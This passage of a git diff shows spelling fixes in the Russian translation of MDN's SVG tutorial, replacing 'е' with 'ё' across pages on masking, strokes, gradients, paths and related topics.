прямоугольник задаст область отрисовки. Так как прямоугольник перекрывает только верхнюю половину круга, нижняя половина круга исчезает:</p> @@ -57,7 +57,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking </svg> </pre> -<p>Фактически на примере находятся два прямоугольника: зеленый на нижнем слое и красный на верхнем. У красного есть атрибут <code>mask</code>, который ссылается на элемент <code>mask</code>. Содержимое маски это элемент <code>rect</code>, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зеленый градиент: </p> +<p>Фактически на примере находятся два прямоугольника: зелёный на нижнем слое и красный на верхнем. У красного есть атрибут <code>mask</code>, который ссылается на элемент <code>mask</code>. Содержимое маски это элемент <code>rect</code>, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зелёный градиент: </p> <p>{{ EmbedLiveSample('Masking','240','240','/files/3234/maskdemo.png') }}</p> @@ -78,7 +78,7 @@ translation_of: Web/SVG/Tutorial/Clipping_and_masking <p>{{ EmbedLiveSample('Transparency_with_opacity','240','240','/files/3231/opacitydemo.png') }}</p> -<p>В этом примере используется красный круг на голубом фоне. Желтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.</p> +<p>В этом примере используется красный круг на голубом фоне. Жёлтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.</p> <h2 id="Использование_хорошо_известных_CSS_техник">Использование хорошо известных CSS техник</h2> diff --git a/files/ru/web/svg/tutorial/fills_and_strokes/index.html b/files/ru/web/svg/tutorial/fills_and_strokes/index.html index 0ba67eee54..e113c00376 100644 --- a/files/ru/web/svg/tutorial/fills_and_strokes/index.html +++ b/files/ru/web/svg/tutorial/fills_and_strokes/index.html @@ -34,7 +34,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/> </svg></pre> -<p>Свойство <em>stroke-width </em>определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображен розовым, а обводка - черным.</p> +<p>Свойство <em>stroke-width </em>определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображён розовым, а обводка - черным.</p> <p>Второй атрибут, влияющий на обводку - свойство <em>stroke-linecap. </em>Демонстрируется выше. Свойство управляет отображением концов линий.</p> @@ -43,7 +43,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <ul> <li><code>butt</code> обрывает линию под прямым углом к направлению обводки и делает это сразу по окончании линии.</li> <li><code>square</code> в основном действует также, но немного растягивает обводку по краям пути. Длина, на которую продлевается обводка - это половина заданного значения <em>stroke-width.</em></li> - <li><code>round</code> задаёт закругленные углы по краям обводки. Радиус этих кривых также управляется параметром <em>stroke-width.</em></li> + <li><code>round</code> задаёт закруглённые углы по краям обводки. Радиус этих кривых также управляется параметром <em>stroke-width.</em></li> </ul> <p>Используйте<code><em> </em>stroke-linejoin</code>, чтобы определить, как соединять обводку двух сегментов линии.</p> @@ -66,7 +66,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <ul> <li><code>miter </code>продолжает линию обводки дальше её обычной ширины, чтобы создать единственный квадратный угол.</li> - <li><code>round </code>создаёт закругленный сегмент линии</li> + <li><code>round </code>создаёт закруглённый сегмент линии</li> <li><code>bevel </code>создаёт новый угол для помощи в переходе между двумя сегментами</li> </ul> @@ -82,13 +82,13 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg></pre> -<p>В качестве аргумента атрибут <code>stroke-dasharray </code>принимает последовательность чисел, разделенных запятой.</p> +<p>В качестве аргумента атрибут <code>stroke-dasharray </code>принимает последовательность чисел, разделённых запятой.</p> <div class="note"> <p>Замечание: в отличие от путей, эти числа ДОЛЖНЫ быть разделены запятыми (пробелы игнорируются).</p> </div> -<p>Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать четный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.</p> +<p>Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать чётный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.</p> <p>Также есть дополнительные <strong>stroke </strong>и <strong>fill </strong>свойства: <code><a href="/en-US/docs/Web/SVG/Attribute/fill-rule">fill-rule</a>, которое определяет как будут заливаться сложные фигуры, которые имеют пересечения внутри себя;</code> <code><a href="/en-US/docs/Web/SVG/Attribute/stroke-miterlimit">stroke-miterlimit</a>, </code>which determines if a stroke should draw miters<code> и </code><a href="/en-US/docs/Web/SVG/Attribute/stroke-dashoffset">stroke-dashoffset</a>, который указывает где начинается dash-array в линии (позволяет задать смещение пунктирной обводки относительно первоначального положения)</p> @@ -103,7 +103,7 @@ translation_of: Web/SVG/Tutorial/Fills_and_Strokes <pre class="brush:xml;"> <rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/> </pre> -<p>или может быть помещен в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <code><head>, </code>как это делается в HTML, она включается в зону <code><defs>, </code>предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.</p> +<p>или может быть помещён в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <code><head>, </code>как это делается в HTML, она включается в зону <code><defs>, </code>предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.</p> <pre class="brush:xml;"><?xml version="1.0" standalone="no"?> <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"> diff --git a/files/ru/web/svg/tutorial/filter_effects/index.html b/files/ru/web/svg/tutorial/filter_effects/index.html index d063063795..13e8214c27 100644 --- a/files/ru/web/svg/tutorial/filter_effects/index.html +++ b/files/ru/web/svg/tutorial/filter_effects/index.html @@ -5,7 +5,7 @@ translation_of: Web/SVG/Tutorial/Filter_effects --- <p>{{ PreviousNext("Web/SVG/Tutorial/Other_content_in_SVG", "Web/SVG/Tutorial/SVG_Fonts") }}</p> -<p>Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определенного эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. <br> +<p>Бывают ситуации, при которых базовые фигуры не обеспечивают гибкость, необходимую для достижения определённого эффекта. Тени, например, не могут быть созданы с помощью комбинации градиентов. Фильтры - это механизм SVG для создания сложных эффектов. <br> <br> Основным примером может послужить эффект размытия в SVG. Базовый эффект размытия может быть достигнут с помощью градиентов, фильтр размытия необходим, чтобы сделать что-либо большее.</p> diff --git a/files/ru/web/svg/tutorial/getting_started/index.html b/files/ru/web/svg/tutorial/getting_started/index.html index c50b5ba0ea..f42a01eda8 100644 --- a/files/ru/web/svg/tutorial/getting_started/index.html +++ b/files/ru/web/svg/tutorial/getting_started/index.html @@ -10,7 +10,7 @@ translation_of: Web/SVG/Tutorial/Getting_Started <h3 id="A_Simple_Example" name="A_Simple_Example">Простой пример</h3> -<p>Давайте начнем наше погружение с простого примера. Посмотрите на код, представленный ниже:</p> +<p>Давайте начнём наше погружение с простого примера. Посмотрите на код, представленный ниже:</p> <pre class="brush: xml"><svg version="1.1" baseProfile="full" @@ -38,12 +38,12 @@ translation_of: Web/SVG/Tutorial/Getting_Started <ul> <li>как известно из (X)HTML, декларацию doctype следует опустить, потому что DTD на основе валидации SVG приводит к бо́льшим проблемам, чем их решает</li> <li>до SVG 2, чтобы обозначить версию SVG для других типов валидации, всегда следует использовать атрибуты <code>version</code> и <code>baseProfile</code>. Но в SVG 2 оба эти атрибута <code>version</code> и <code>baseProfile</code> обрели статус не рекомендованных</li> - <li>как диалект XML, SVG всегда правильно должен связывать пространства имен (в атрибуте xmlns). Смотри страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большей информации.</li> + <li>как диалект XML, SVG всегда правильно должен связывать пространства имён (в атрибуте xmlns). Смотри страницу <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en-US/Web/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a> для большей информации.</li> </ul> </li> <li>Фон устанавливается красным при помощи рисования прямоугольника <a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect"><code><rect/></code></a>, который покрывает всю область изображения</li> - <li>Зеленый круг <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code><circle/></code></a> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещен на 150px вправо, и 100px вниз).</li> - <li>Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зеленого круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.</li> + <li>Зелёный круг <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle"><code><circle/></code></a> с радиусом 80px рисуется поверх центра красного прямоугольника (центр круга смещён на 150px вправо, и 100px вниз).</li> + <li>Текст "SVG" рисуется. Внутренняя часть каждой буквы наполняется белым. Расположение текста определяется привязкой, где мы хотим, чтобы была середина: в этом случае середина должна соответствовать центру зелёного круга. Для улучшения эстетического вида можно сделать точные настройки размера шрифта и вертикального положения.</li> </ol> <h3 id="Основные_свойства_файлов_SVG">Основные свойства файлов SVG</h3> diff --git a/files/ru/web/svg/tutorial/gradients/index.html b/files/ru/web/svg/tutorial/gradients/index.html index 2e4ef085cf..45faea509a 100644 --- a/files/ru/web/svg/tutorial/gradients/index.html +++ b/files/ru/web/svg/tutorial/gradients/index.html @@ -42,7 +42,7 @@ translation_of: Web/SVG/Tutorial/Gradients <p>{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}</p> -<p>Выше находится пример линейного градиента, который применен к элементу <code><rect>. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определенных атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до прозрачно-черного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p> +<p>Выше находится пример линейного градиента, который применён к элементу <code><rect>. </code>Внутри линейного градиента есть несколько {{SVGElement('stop')}} нод.. Эти ноды сообщают градиенту, какой цвет он должен использовать в позициях, определённых атрибутом <code>offset </code>для позиции и атрибутом <code>stop-color. </code>Это может быть задано прямо в SVG или через CSS. В целях этого примера оба метода были смешаны. Например, <em>Gradient1</em> начинается с красного цвета, изменяется до прозрачно-чёрного в середине и заканчивается синим цветом. Вы можете вставить столько стоп-цветов, сколько нужно, чтобы создать смесь, которая будет красивой или ужасной, как вам нужно. Границы всегда должны изменяться от 0% (или от 0, если вы хотите опустить знак %) до 100% (или 1). Повторяющиеся значения будут использовать стоп, который будет находится дальше всех по XML-дереву. Также, подобно заливке и обводке, вы можете определить атрибут <code>stop-opacity, </code>чтобы задать прозрачность в этой позиции (опять же, в FF3+ можно также использовать rgba-значения для этого).</p> <pre class="eval notranslate"> <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> </pre> @@ -95,9 +95,9 @@ translation_of: Web/SVG/Tutorial/Gradients <p>{{ EmbedLiveSample('Basic_example_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}</p> -<p>Атрибуты <strong>stop</strong>, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <code><radialGradient></code> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как <strong>cx</strong> и <strong>cy</strong>, и радиус - <strong>r</strong>. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять ее размер, как показано во втором прямоугольнике выше.</p> +<p>Атрибуты <strong>stop</strong>, используемые здесь - отвечают за то же, что и в линейных градиентах. Однако сейчас объект будет красным в центре и постепенно меняться к синему цвету, "двигаясь" к краям. Как и линейный градиент, элемент <code><radialGradient></code> может иметь несколько атрибутов, описывающих его позицию и ориентацию (направленность?). Однако, в отличие от линейных градиентов, радиальные немного сложнее. Радиальные градиенты задаются двумя "точками", которые определят где будут границы. Первая "точка" определяет окружность, где градиент заканчивается. Для этого нам потребуется центр круга, который обозначается как <strong>cx</strong> и <strong>cy</strong>, и радиус - <strong>r</strong>. Изменяя эти атрибуты, вы можете "двигать" внешнюю границу градиента и менять её размер, как показано во втором прямоугольнике выше.</p> -<p>Вторая "точка" называется <strong>фокальной</strong> и задается атрибутами <strong>fx</strong> и <strong>fy</strong>. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его <strong>середина</strong>. Это легко увидеть на примере.</p> +<p>Вторая "точка" называется <strong>фокальной</strong> и задаётся атрибутами <strong>fx</strong> и <strong>fy</strong>. В то время как первые "точки" указывают на внешнюю границу градиента, фокальная "точка" определяет где должна быть его <strong>середина</strong>. Это легко увидеть на примере.</p> <h3 id="Center_and_focal_point">Center and focal point</h3> @@ -128,7 +128,7 @@ translation_of: Web/SVG/Tutorial/Gradients <p>Если фокальная точка передвинута за границы круга, то градиент будет отрисован некорректно. Поэтому фокальная точка обязательно должна быть внутри границы круга (или на самой границе). Если фокальная точка не указана, то по дефолту она совпадает с центром круга.</p> -<p>Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это <strong><code>spreadMethod</code></strong><code>. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект еще не заполнен. Аттрибут может принимать одно и трех значений:</code>"pad", "reflect", или"repeat". "<strong>Pad</strong>" - это то что вы пока что видели: когда градиент достигает "краев", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берется из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.</p> +<p>Линейный и радиальный градиенты также принимают несколько атрибутов, описывающих как они могут изменяться. Единственный атрибут, о котором я хотел бы рассказать более подробно - это <strong><code>spreadMethod</code></strong><code>. Этот атрибут указывает, что должно происходить, когда градиент "достигает" внешней границы градиента, но объект ещё не заполнен. Аттрибут может принимать одно и трёх значений:</code>"pad", "reflect", или"repeat". "<strong>Pad</strong>" - это то что вы пока что видели: когда градиент достигает "краёв", финальный цвет используется для заполнения оставшейся области. "Reflect" - градиент продолжает "двигаться" в "зеркальном" отражении (стартовый цвет берётся из 100%, а конечный из 0%). А затем снова "переворачивается". И так до тех пор пока не достигнет края.</p> <h3 id="spreadMethod">spreadMethod</h3> @@ -176,6 +176,6 @@ translation_of: Web/SVG/Tutorial/Gradients <p>Вы также можете применить иную трансформацию к градиенту, используя атрибут <strong><code>gradientTransform</code></strong>, но мы пока что <a href="/en-US/Web/SVG/Tutorial/Basic_Transformations">его не изучали</a>, я оставлю это на потом.<br> <br> Существуют и другие предостережения для работы с <br> - <code>gradientUnits="objectBoundingBox"</code>, когда поле ограничения объекта не является квадратным, но они довольно сложны и им придется ждать, пока кто-то другой не соизволит объяснить их.</p> + <code>gradientUnits="objectBoundingBox"</code>, когда поле ограничения объекта не является квадратным, но они довольно сложны и им придётся ждать, пока кто-то другой не соизволит объяснить их.</p> <p>{{ PreviousNext("Web/SVG/Tutorial/Fills_and_Strokes", "Web/SVG/Tutorial/Patterns") }}</p> diff --git a/files/ru/web/svg/tutorial/introduction/index.html b/files/ru/web/svg/tutorial/introduction/index.html index a3c0f8e0e5..4043b9238a 100644 --- a/files/ru/web/svg/tutorial/introduction/index.html +++ b/files/ru/web/svg/tutorial/introduction/index.html @@ -9,9 +9,9 @@ original_slug: Web/SVG/Tutorial/Введение --- <p>{{ PreviousNext("Web/SVG/Руководство", "Web/SVG/Руководство/Введение") }}</p> -<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> разметки, схожий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путем указания всех необходимых линий и форм, путем модификации уже существующих растровых изображений, или путем комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.</p> +<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> разметки, схожий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путём указания всех необходимых линий и форм, путём модификации уже существующих растровых изображений, или путём комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.</p> -<p>В 1999 году, после конкурса нескольких форматов, SVG был включен в <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">браузерами</a>. Недостатком использования SVG является его медленная загрузка . При этом SVG дает некоторые преимущества, такие как наличие соответствующего <a href="/en-US/docs/Web/API">DOM interface</a>, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.</p> +<p>В 1999 году, после конкурса нескольких форматов, SVG был включён в <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">браузерами</a>. Недостатком использования SVG является его медленная загрузка . При этом SVG даёт некоторые преимущества, такие как наличие соответствующего <a href="/en-US/docs/Web/API">DOM interface</a>, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.</p> <h3 id="Базовые_компоненты">Базовые компоненты</h3> @@ -21,9 +21,9 @@ original_slug: Web/SVG/Tutorial/Введение <h3 id="Before_you_start" name="Before_you_start">До начала работы</h3> -<p>Существует ряд приложений для рисования, такие как <a class="external" href="http://www.inkscape.org/">Inkscape</a>, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надежный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> или <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p> +<p>Существует ряд приложений для рисования, такие как <a class="external" href="http://www.inkscape.org/">Inkscape</a>, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надёжный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> или <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p> -<p>SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в <a href="http://caniuse.com/svg">Can I use</a>. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растет с каждым новым выпуском. К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.</p> +<p>SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в <a href="http://caniuse.com/svg">Can I use</a>. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растёт с каждым новым выпуском. К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.</p> <p>Перед тем как начать, вы должны иметь основное понимание XML или другого языка разметки, такого как <abbr title="HyperText Markup Language">HTML</abbr>. Если вы не очень знакомы с XML, ниже имеются некоторые рекомендации, которые следует иметь ввиду:</p> @@ -32,13 +32,13 @@ original_slug: Web/SVG/Tutorial/Введение <li>Значения атрибутов в SVG должны быть помещены внутри кавычек, даже если они являются цифрами.</li> </ul> -<p>SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Справочник SVG элементов</a> и <a href="/ru/docs/DOM/DOM_Reference#SVG_интерфейсы">SVG интерфейсы</a>, чтобы найти что-либо еще при необходимости.</p> +<p>SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Справочник SVG элементов</a> и <a href="/ru/docs/DOM/DOM_Reference#SVG_интерфейсы">SVG интерфейсы</a>, чтобы найти что-либо ещё при необходимости.</p> <h3 id="Особенности_SVG">Особенности SVG</h3> <p>Начиная с рекомендации 2003 года, самой свежей "полной" версией SVG является версия 1.1. Она построена на SVG 1.0, но содержит также больше модульности для упрощения реализации. <a href="http://www.w3.org/TR/SVG/">Второй выпуск SVG 1.1</a> стал Рекомендацией в 2011 году. "Полная" версия SVG 1.2 стала следующим главным выпуском SVG. Ей пришла на смену развивающаяся <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, которая сейчас усиленно разрабатывается и следует схожему с CSS 3 подходу, в котором она разделяет компоненты в несколько свободно связанных специфирований.</p> -<p>Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжелыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.</p> +<p>Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжёлыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.</p> <p>Существовали планы для спецификации SVG Print, которая имела бы поддержку для множества страниц и улучшенное управление цветом. Эта работа была прекращена.</p> diff --git a/files/ru/web/svg/tutorial/paths/index.html b/files/ru/web/svg/tutorial/paths/index.html index ba35db7a9a..05ddefc879 100644 --- a/files/ru/web/svg/tutorial/paths/index.html +++ b/files/ru/web/svg/tutorial/paths/index.html @@ -19,7 +19,7 @@ translation_of: Web/SVG/Tutorial/Paths <h2 id="Команды_линии">Команды линии</h2> -<p>Существуют пять команд линии для узлов <code><path></code>. Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <code><path></code> для указания точки, откуда начнется рисование, например:</p> +<p>Существуют пять команд линии для узлов <code><path></code>. Первая команда - это "Переместиться к", или M, описанная выше. В качестве параметров она принимает координаты точки, к которой перемещается. Если курсор уже был где-либо на странице, между старым и новым местом линия не появится. Команда "Переместиться к" используется в начале элемента <code><path></code> для указания точки, откуда начнётся рисование, например:</p> <pre>M x y </pre> @@ -52,7 +52,7 @@ translation_of: Web/SVG/Tutorial/Paths V y (или v dy) </pre> -<p>Начнем с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <code><rect></code>). Он состоит только из горизонтальных и вертикальных линий<span style="line-height: 1.5;">:</span></p> +<p>Начнём с рисования простой формы, например, прямоугольника (такого же, какой проще нарисовать с помощью элемента <code><rect></code>). Он состоит только из горизонтальных и вертикальных линий<span style="line-height: 1.5;">:</span></p> <p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p> @@ -68,7 +68,7 @@ translation_of: Web/SVG/Tutorial/Paths </svg></pre> -<p>Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", <code>Z</code>. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для нее регистр буквы не важен.</p> +<p>Нашу запись в примере выше можно немного сократить , используя команду "Закрыть путь", <code>Z</code>. Эта команда рисует прямую линию от текущего положения обратно к первой точке пути. Она часто встречается в конце узла пути, хотя и не всегда. Для неё регистр буквы не важен.</p> <pre> Z (или z) </pre> @@ -83,13 +83,13 @@ translation_of: Web/SVG/Tutorial/Paths <pre class="brush: xml"> <path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/> </pre> -<p>Путь начнется от точки (10,10), пойдет горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.</p> +<p>Путь начнётся от точки (10,10), пойдёт горизонтально на 80 точек вправо, затем 80 точек вниз, затем 80 точек влево, и затем обратно к старту.</p> <p>Возможно, в этих примерах было бы проще использовать элементы <code><polygon></code> или <code><polyline></code>.<code> </code>Однако, пути используются при рисовании SVG настолько часто, что многим разработчикам может быть удобнее использовать их вместо других элементов. Нет никакой разницы в производительности при использовании того или другого.</p> <h2 id="Команды_кривых_линий">Команды кривых линий</h2> -<p>Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Информации о кривых Безье слишком много, чтобы попытаться охватить ее здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.</p> +<p>Существует три различных команды, которые вы можете использовать для создания плавных кривых линий. Две из этих кривых - кривые Безье, а третья - "дуга", или часть окружности. Вы, возможно, уже имели практический опыт с кривыми Безье, если работали с путями (paths) в программах lnkscape, Illustrator или Photoshop. Для полного описания математических понятий о кривых Безье, попробуйте пройти по ссылке на <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Информации о кривых Безье слишком много, чтобы попытаться охватить её здесь. Существует бесчисленное множество различных типов кривых Безье, но только две простые доступны для элементов путей: кубическая, C, и квадратная, Q.</p> <h3 id="Кривые_Безье">Кривые Безье</h3> @@ -98,7 +98,7 @@ translation_of: Web/SVG/Tutorial/Paths <pre> C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy) </pre> -<p>Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создает плавную кривую, которая ведет от наклона, который вы установили в начале вашей линии к наклону на другом конце.</p> +<p>Последний набор координат (x,y) это точка, в которой заканчивается линия. Две другие - контрольные точки. (x1,y1) контрольная точка для начала вашей кривой, а (x2,y2) для конца вашей кривой. Если вы знакомы с вычислительной алгеброй, контрольные точки в описывают наклон вашей линии в каждой точке. Функция Безье создаёт плавную кривую, которая ведёт от наклона, который вы установили в начале вашей линии к наклону на другом конце.</p> <p><img 